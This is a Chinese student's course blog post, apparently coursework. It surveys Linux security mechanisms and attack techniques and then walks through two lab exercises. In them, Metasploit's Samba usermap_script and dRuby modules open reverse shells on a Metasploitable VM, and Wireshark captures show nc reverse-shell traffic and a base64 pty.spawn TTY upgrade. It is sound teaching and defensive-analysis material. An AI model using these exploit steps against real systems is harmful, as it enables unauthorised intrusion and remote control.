20199123 2019-2020-2 《网络攻防实践》第8周作业

20199123 2019-2020-2 《网络攻防实践》第8周作业

0 总体结构

本次作业属于那个课程 《网络攻防实践》
这个作业要求在哪里 《网络攻防实践》第八周作业
我在这个课程的目标是 学习网络攻防相关技术、掌握网络攻防相关能力
这个作业在哪个具体方面帮助我实现目标 学习Linux操作系统安全攻防
作业正文 下述正文
其他参考文献 见文末

1.实践内容

写在前面:


1.1 Linux操作系统基本框架概述

  • Linux具有的优势:跨平台的硬件支持、丰富的软件支持、多用户多任务、可靠的安全性、良好的稳定性、完善的网络功能;

  • Linux系统结构:总体结构属于一种典型的宏内核结构(教材226页有宏内核结构详细介绍,即大量的内核模块与设备驱动程序共享内核态内存空间);

    • Linux进程与线程管理机制:Linux内核采用抢占式多用户多进程模式,多个进程并发,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块(PCB)结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行;

    • Linux内存管理机制:允许多个进程安全地共享物理内存区域。Linux内存管理支持虚拟内存,虚拟内存的管理分为页式、段式和段页式;内存管理模块为进程提供内存分配、内存回收、请求分页和交换页等系统调用服务;

    • Linux文件管理机制:Linux内核使用虚拟文件管理VFS机制,从而使其能够支持数十种不同类型的逻辑文件系统,VFS虚拟文件管理为用户进程提供一组通用的文件系统调用函数,可以对不用文件系统中的文件进行统一操作;

    • Linux设备控制机制:Linux内核中处理或者管理硬件控制器的软件叫做设备驱动程序;Linux核心的设备驱动程序本质上是提权、驻留内存的低级的硬件控制例程的共享库;Linux的一个基本特点是抽象了设备的处理,所有的硬件设备都像常规文件一样对待,Linux支持的三类硬件设备:字符设备、块设备和网络设备;

    • Linux网络机制:Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈负责实现每一种可能的网络传输协议,网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序;

    • Linux系统调用机制:Linux提供系统调用接口允许应用程序透过这层接口来访问硬件设备和其他系统资源,这有助于保证Linux系统的稳定可靠和安全,并为用户空间提供一种统一的抽象接口,有助于应用程序的跨平台移植;


1.2 Linux操作系统安全机制

与Windows操作系统类似,Linux操作系统的核心安全机制也主要是身份认证、授权与访问控制、安全审计这三个部分。


  • Linux身份认证机制:

    • Linux用户:用户作为执行进程完成特定操作任务的主体,用户具有不同角色类型,Root根用户(就像是古代的皇帝一样在系统中拥有至高无上的权利!)、普通用户(由使用者创建的登录系统并执行基本计算任务的用户)、系统用户(不具有登录功能,但是系统运行不可缺少的用户)

    • Linux用户组:Group是具有相同特征的用户账号集合,用于简化整个系统的用户权限管理;

    • Linux本地登录用户认证机制:

      Linux系统最基本的用户认证机制即是对用户在控制台登录的认证过程,基本流程是:由init进程启动getty产生若干个虚拟控制台。在控制台上显示登录,党用户输入用户时,getty执行登录进程,进入登录认证过程,认证成功后,登录进程会fork相应用户Shell子进程,至此完成登录过程,用户可以在对应的Shell下开始工作;

    • Linux远程登录用户认证机制:Linux系统从UNIX系统继承了rlogin、rsh服务来提供远程用户登录和访问,此外也支持telnet来提供终端服务;目前普遍使用SSH服务(教材173页,通过使用SSH可以对所有传输的数据进行加密,从而防御网络嗅探和中间人攻击);SSH提供两种方式的用户身份认证机制:第一种为基于口令的身份认证,使用Linux系统内建的用户账号和口令;第二种是基于非对称密钥的身份认证(密码学中详细介绍,这里不赘述);

    • Linux统一身份认证中间件——PAM:PAM(Pluggable Authentication Modules:可插入身份认证模块),作为一种验证用户身份的灵活与标准方法;PAM中间件的结构与使用方式如下图:


  • Linux授权与访问控制机制:Linux通过VFS虚拟文件系统来实现对不同类别文件系统格式的支持,在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限、一些特殊权限位来进行系统的授权与访问控制;

  • 文件的所有者(ownership):表明文件属于哪个用户所有;

  • 文件的访问权限(access rights):通过所附带的10个标志位来进行设置,其中第一个标志位用来区分文件类型,"-"表示普通文件,"d"表示目录,"l"表示符号链接,"b"表示块设备文件,"c"表示字符设备等;第2~10位每3个一组分为3组,分别表示文件所有者、与所有者同组用户、其他用户对该文件的读、写、执行权限;

  • 文件的特殊执行权限:被称为“特权”,常见的是SUID与SGID权限,SUID权限允许可执行文件在运行时刻从运行者的身份提升至文件所有者权限;SGID功能与SUID类似;

  • Linux访问控制机制的不足及改进:Linux采用的访问控制机制比较简单高效,但仅分为三种类型的访问权限,无法做到更细粒的权限控制,不支持完整的 ACL访问控制列表设置


  • Linux安全审计机制:主要通过三个主要的日志子系统来实现,连接时间日志、进程统计日志、错误日志记录;除了这些事件日志外,Linux内核还集成了审计守护进程(Linux Audit daemon)来帮助系统管理员检测系统用户对某些安全措施的违背;

1.3 Linux系统远程攻防技术

针对Linux系统的攻击遵循系统攻击统一的逻辑流程:①攻击者首先利用踩点、扫描和查点等技术手段收集关于目标Linux系统的信息;②攻击者从远程网络发掘某个监听网络服务中的安全漏洞或配置弱点,获取本地Shell访问权;③转入本地攻击环节,利用各类提权技术获取Linux系统最高权限


  • Linux远程口令字猜测攻击:攻击者通过网络协议远程猜测成功一组用户名和口令,以此远程登录到Linux系统上,获得本地的访问权;支持攻击者进行自动化的远程口令猜测工具比较流行的有:Brutus、THC Hydra、Cain and Abel;

  • Linux网络服务远程渗透攻击

    • Linux系统安全漏洞、渗透攻击与补丁更新过程:Linux采用独创性的“集市”开发模式,使得它的安全漏洞生命周期具有一些显著的特性:①Linux系统都是开放源代码,黑客们可以分析源代码并从中挖掘漏洞;②发现漏洞之后再报告给相应的开发团队;③修补补丁;④如果安全漏洞未被报告被用于渗透攻击与利用会造成Linux系统最重要的安全威胁;⑤更新软件版本和修补漏洞;⑥公开披露漏洞;⑦在黑客社区中也可能出现渗透利用代码;

    • 针对Linux系统网络服务的远程渗透攻击:

    • Linux内核中的网络协议栈实现:是每个网络服务所依赖的基础平台,因此一旦这些代码存在远程代码执行危害后果的安全漏洞,那么无论该Linux系统开放何种服务,都可以被攻击者进行远程渗透攻击;

    • LAMP Web网站构建解决方案中的网络服务:LAMP(Linux/Apache/MySQL/PHP)是目前最流行的Web网站构建解决方案;

    • FTP、Samba等文件共享服务:****FTP服务是互联网上非常古老的网络服务,用于文件交换和共享传输;Samba是用来让Linux等类UNIX的操作系统与Windows系统SMB/CIFS网络协议相连接的网络服务,Samba服务软件在类UNIX与Windows之间架起一座互通的桥梁

    • 电子邮件收发服务:Sendmail;

    • 其他网络服务:OpenSSHOpenSSLNFS原理及安装配置SNMP简单网络管理协议、SUNRPC、DNS&BIND基础知识X-Window简介等;

      OpenSSH与OpenSSL的区别:这俩的名字也太像了点吧,把我都快给整懵了,所以这里查了一下写下来做个记忆的备份;从上面的概念中可以得到这俩的几个不同点;SSH主要是用于远程控制和计算机之间的文件传输的;OpenSSH针对SSH中的明文传送的不安全性而提出并对数据进行了加密;SSL是一个安全套接层协议,主要是保证两个应用之间的通信的保密性和可靠性,这主要是安全特性方面的保证;OpenSSL则是根据SSL的功能特性而开发的一个开源软件库,这个我在另外一门课里用过,整个软件包大概分为密码算法库、SSL协议库、应用程序三个主要的功能,并且提供了8种对称加密算法、4种非对称加密算法、5种信息摘要算法。亲测相对好用!

    • 针对网络服务远程渗透攻击的安全防范措施:①禁用所有不必要的网络服务;②尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署;③及时更新网络服务版本;④使用xinetd、防火墙为Linux网络服务添加网络访问控制机制;⑤建立入侵检测与应急响应计划流程;

  • 攻击Linux客户端程序和用户

    • 攻击Linux平台上的客户端程序:主要是Web浏览器和电子邮件客户端;

    • 攻击Linux系统用户:常见的攻击手法包括在电子邮件、即时通信中设计一些应用社会工程学技巧的欺骗场景,来诱骗用户点击执行电子邮件附件或通过即时通信软件传输中的可执行程序或而已文档,访问某些恶意网页;

    • 针对客户端与用户攻击的安全防范措施:①及时更新客户端软件;②提高用户自身的安全意识防止社会工程学攻击;③对用户而言养成下载软件的MD5校验;

  • 攻击Linux路由器和监听器

    除了上述的三种远程渗透攻击通道之外,Linux系统最容易让人忽视的是作为路由器和监听器网络设备时,在进行路由器转发或者数据包嗅探时,所遭受的特殊数据包攻击;

    • 攻击Linux路由器与防火墙:主要是拒绝服务漏洞攻击、利用Linux防火墙的漏洞构造能够绕过防火墙规则的攻击数据包;

    • 攻击监听器&入侵检测器:主流的开源软件包括Libpcap抓包库、tcpdump命令行程序、Wireshark网络监听与协议分析软件、Snort入侵检测系统;

    • 针对路由器与监听器攻击的安全防范措施:网络管理员应建立一种安全对抗与博弈的意识,首先应意识到网络与安全设备自身的安全性和可用性,还需站在攻击者角度尝试进行渗透攻击确保所采用的防御体系不会被普通攻击者所绕过;


1.4 Linux系统本地安全攻防技术

通过上述的技术获得靶机的访问权之后,攻击者会试图进行本地攻击提升权限甚至植入远程控制的后门程序来确保他们以后能够轻易地返回这台靶机。


  • Linux本地特权提升:本地特权的提升最主要的是获取到Root权限进行运行,常用的手段有:破解出Root用户的口令,然后执行su或sudo命令进行提升;发掘并利用su或sudo程序中的安全漏洞;攻击用户态SUID特权提升漏洞以及攻击Linux内核代码特权提升漏洞;从系统中搜索全局可写的敏感文件与目录位置并加以利用;

  • Linux用户口令字破解:/etc/shadow中存着口令字密文文件,其结构和使用方法可详见教材306页;Linux上进行口令字破解的经典软件工具有John the Ripper;

  • 利用sudo的缺陷进行特权提升

  • 利用用户态SUID程序漏洞进行特权提升

  • 针对SUID程序的本地缓冲区溢出攻击

  • 针对SUID程序的符号链接攻击:这个漏洞的攻击主要是未安全检查文件链接,攻击者将链接设置为转向获取Root权限的链接就能获得Root权限;

  • 针对SUID程序的竞争条件攻击:TOCTOU(time-of-check-to-time-of-use)程序在检查某一条件和使用检查结果的时间中间存在着一些延迟,从这个实践窗口中,攻击者就可能在另外一个进程中对已经通过检查的条件进行更改从而获取Root权限;

  • 针对SUID程序的共享函数库攻击:攻击者利用动态共享函数库装载的ld.so实现上的错误进行漏洞攻击获取权限;

  • 利用内核空间代码漏洞进行特权提升

  • 利用系统配置不当实施本地特权提升:最常见的系统配置不当造成本地特权提升的主要隐患包括Root所有的SUID程序,以及全局可写的文件;

  • 针对Linux本地特权提升攻击的防范技术与措施:修补本地特权安全漏洞、安全配置系统、应用SELinux等安全增强模块等。

  • Linux系统上的消踪灭迹:攻击者消踪灭迹最重要的方式是改变当前活动的日志;而应对日志清理攻击的一种方法途径是将日志信息写到难以修改的媒介上,支持只许添加标志扩展属性的文件系统,或者将关键日志信息发送到另一台防护严密的安全日志服务器上;

  • Linux系统远程控制后门程序:Linux系统上植入远程控制后门程序的类型主要有:特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具;


2.实践过程

2.1 动手实践:使用Metasploit进行Linux远程渗透攻击

  • 任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取目标Linux靶机的主机权限访问权。


  • 实践步骤:

    Step 0:题目分析与知识补充:

    关于Samba:在教材的8.3.2Linux网络服务远程渗透攻击下的子目录FTP、Samba等文件共享服务中介绍到关于Samba服务的一些知识,这里摘出来一些重点的。Samba是用来让Linux等类UNIX的操作系统与微软的Windows系统SMB/CIFS(SMB服务器消息块是Windows操作系统中最为复杂也最容易遭到远程渗透攻击的网络服务...详见教材254页)网络协议相连接的网络服务,在TCP445端口上监听,Samba服务软件在类UNIX与Windows之间架起一座互通的桥梁,让两者的资源互通有无,便捷地互相访问。

    关于usermap_script安全漏洞:找到了两个链接觉得介绍的很到位,CVE-2007-2447Samba "username map script" Command Execution简单来说这个漏洞是利用包含meta shell字符的用户名,由于usermap这个服务是在身份验证之前映射用户名,因此攻击者不需要身份验证就可利用这个漏洞进行攻击nessus扫描结果如下图:

    Step 1:此实践选择的主机信息如下:

    主机 IP
    kali_攻击机 192.168.200.2
    Metasploit_Linux_靶机 192.168.200.125

    Step 2:输入msfconsole命令启动Metasploit软件;

    Step 3:输入search samba命令查看Samba服务的漏洞;

    Step 4:输入use exploit/multi/samba/usermap_script进入渗透攻击模块;

    Step 5:输入show payloads查看漏洞的载荷;

    Step 6:输入set payload cmd/unix/reverse设置载荷,此载荷是支持双向连接;输入set LHOST 192.168.200.2 set RHOST 192.168.200.125设置本地主机kali和靶机的IP;

    Step 7:输入check想查看是否上述的参数设置成功但是Samba服务不支持这个命令,那就算了吧~

    Step 8:输入run/exploit进行攻击,可以发现执行命令之后显示出载荷;建立了一个kali与meta_Linux之间的shell会话;还发现一条命令,Command: echo pSGtUrCJSLqvrLHw,百度的时候并没找到任何信息,疑惑这是不是shellcode?然后输入shell进入靶机的shell终端,输入ls显示出当下目录中的文件,就发现进入了一个sh-3.2的用户下,输入whoami查看获得的权限为root

    Step 9:打开wireshark查看以上整个过程的抓包情况;发现这是一个基于SMB协议的漏洞,从下面不同颜色的框中可以看到攻击者在攻击靶机的时候建立SMB协议协商

    其中蓝色框是一个AndX请求,查看他的TCP流,发现有登录靶机的一些代码;nohup是不挂断的意思,该命令可以在你退出帐户/关闭终端之后继续运行相应的进程;nc可以反弹shell命令;

    Step 10:查看最后一个TCP数据包能看到获取到靶机权限后输入的命令;至此这个实践就算是完整的结束啦~


2.2 实践作业

  • 任务:攻防对抗实践:

    • 攻击方:使用Metasploit,选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限;

    • 防守方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode,以及成功之后在本地执行命令输入等信息;


  • 实践过程:

    Step 1:此实践所用到的主机信息如下:

    主机 IP
    kali_攻击机 192.168.200.2
    Metasploit_Linux_靶机 192.168.200.125
    WinXPAttacker 192.168.200.3

    攻击方步骤:

    Step 2:在WinXPAttacker里面使用Nessus扫描工具扫描靶机的漏洞,这在前面的实践中已经做过了,简单的截了几张图;

    Step 3:我们选择dRuby漏洞进行攻击,使用命令行search dRuby查看漏洞信息;使用命令行use exploit/linux/misc/drb_remote_codeexec进入渗透攻击模块;

    Step 4:输入命令show payloads显示漏洞的载荷,选择cmd/unix/reverse建立双向的连接

    Step 5:输入命令show options显示漏洞需要设置的参数;

    Step 6:设置set RHOST 192.168.200.125以及set payload cmd/unix/reverse

    Step 7:执行命令run,随后可以看到建立的会话,执行shell进入靶机的shell,执行命令id查看获取的UID和GID


    防守方:

    Step 8:查看wireshark抓包情况,首先通过对数据包流量的分析,可以看到主机192.168.200.2192.168.200.125通信数据最多;

    Step 9:使用ip.dst == 192.168.200.2 or ip.dst == 192.168.200.125过滤数据包,发现攻击者IP为192.168.200.2,靶机IP为192.168.200.125;其中源IP端口为33470,目标IP端口为8787(8787端口为Message服务器,8786端口为Message客户端)并且可以看到攻击发起的时间为第一个TCP数据包建立的时候;

    Step 10:查一下dRuby漏洞的相关知识得知, dRuby 是由 Ruby 语言编写的,为 Ruby 语言提供分布式对象系统和共享元组空间功能的, 并且也作为 Ruby 标准库的一部分使用。druby 使用自己的协议,并结合本身一个 URI ,例如:druby://example.com 端口为 8787。而 8787 端口不包含在 Nmap 默认扫描的 1000 个常见端口内,因此如果我们使用默认的方式扫描,将无法扫描到该服务端口。因此我们使用命令行nmap -sV 192.168.200.125 -p8787进行扫描,可以看到这是dRuby漏洞所利用的端口;

    说明-sV为查看目标主机网络服务类型;-p8787为指定端口8787扫描;-p可以指定扫描端口的范围;

    Step 11:查看wireshark抓包的tcp数据流,可以看到下面的shellcode代码,其中第一次攻击失败,其中Kernel.fork为建立一个shell的子进程,第二次才建立连接;

    Step 12:继续查看tcp数据流,可以看到攻击机利用dRuby漏洞向靶机发送shellcode,对应的和攻击机建立会话连接

    Step 13:然后查看攻击之后本地执行的指令,发现先执行的是where python查询python解释器的位置,根据下面命令行的提示这一串字符串使用base64解码之后为import pty;pty.spawn('/bin/sh'),查一下这个函数,可知此语句为将shell转化为交互的tty其中tty是Linux本地登录用户认证的时候由init进程启动getty产生的tty虚拟控制台,getty用于设置终端机模式,连线速率和管制线路,OS启动时所必需的步骤之一;然后是使用的id查看用户和用户组信息

3.学习中遇到的问题及解决

  • 问题1 :这一次的教材上的很多名词都很容易混淆和不理解;
  • 解决1 :查百度,查了之后提炼出精华记录;
  • 问题2 :实践二的漏洞的选择是个问题;
  • 解决2 :我其实把教材中介绍的一些漏洞试了一下发现不行,步骤都是一样的但是攻击的会话建立不了,于是参考了一下孙启龙同学的博客的漏洞;

4.实践总结

这次的实践其实蛮简单的,但是我做的很慢。在看书的时候满满的回忆杀,还记得那位本科教我OS的老太太,激情四射的在讲台上讲着OS的知识,当看到教材前面的Linux的一些基础知识的时候就想起当年那位老太太教我们深入去探索知识的模样,还记得那张给我讲scanf语句的草稿纸,至今我还珍藏着OS的教材和资料,舍不得丢掉;网络攻防这门课是我第一次接触到,我也努力的学习着课程的知识,上次验收课上老师讲到的学习的态度,知其然而知其所以然,似乎对我有醍醐灌顶般的警醒,吾日三省吾身,可我多久没有反思过自己的学习态度了,所以这一次的教材知识我觉得我读的比以前要仔细,也查了不少资料。我有个奇怪的学习习惯,喜欢横向的联系不同学科的知识,这次的攻防知识也让我想到了另外网络信任体系、网络安全课程学到的知识,顺便也翻看了前面上一章Windows操作系统攻防的知识,算是回顾了吧。啰啰嗦嗦写了这么多,希望自己别做行动的矮子,愿能守得住自己学习的初心,不断向前。

参考资料

posted @ 2020-04-20 22:20  Jody9123  阅读(164)  评论(0编辑  收藏  举报